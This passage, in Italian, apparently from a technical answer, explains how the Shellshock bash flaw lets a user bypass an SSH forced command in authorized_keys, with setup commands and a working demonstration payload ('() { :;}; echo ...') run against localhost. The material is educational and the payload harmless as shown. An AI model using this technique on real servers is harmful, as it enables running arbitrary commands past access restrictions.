Un esempio in cui questo può essere sfruttato è sui server con un authorized_keys
comando forzato. Quando si aggiunge una voce a ~/.ssh/authorized_keys
, è possibile aggiungere il prefisso alla riga command="foo"
per forzare foo
l'esecuzione ogni volta che viene utilizzata la chiave pubblica ssh. Con questo exploit, se la shell dell'utente di destinazione è impostata su bash
, possono sfruttare l'exploit per eseguire cose diverse dal comando a cui sono costrette.
Questo probabilmente avrebbe più senso nell'esempio, quindi ecco un esempio:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Qui impostiamo un utente testuser
, che forza l'esecuzione di tutte le connessioni ssh usando il tasto ssh echo starting sleep; sleep 1
.
Possiamo provarlo con:
$ ssh testuser@localhost echo something else
starting sleep
Nota come il nostro echo something else
non viene eseguito, ma starting sleep
mostra che il comando forzato è stato eseguito.
Ora mostriamo come utilizzare questo exploit:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Questo funziona perché sshd
imposta la SSH_ORIGINAL_COMMAND
variabile di ambiente sul comando passato. Quindi, anche se sshd
eseguito sleep
, e non il comando a cui gli ho detto, a causa dell'exploit, il mio codice viene comunque eseguito.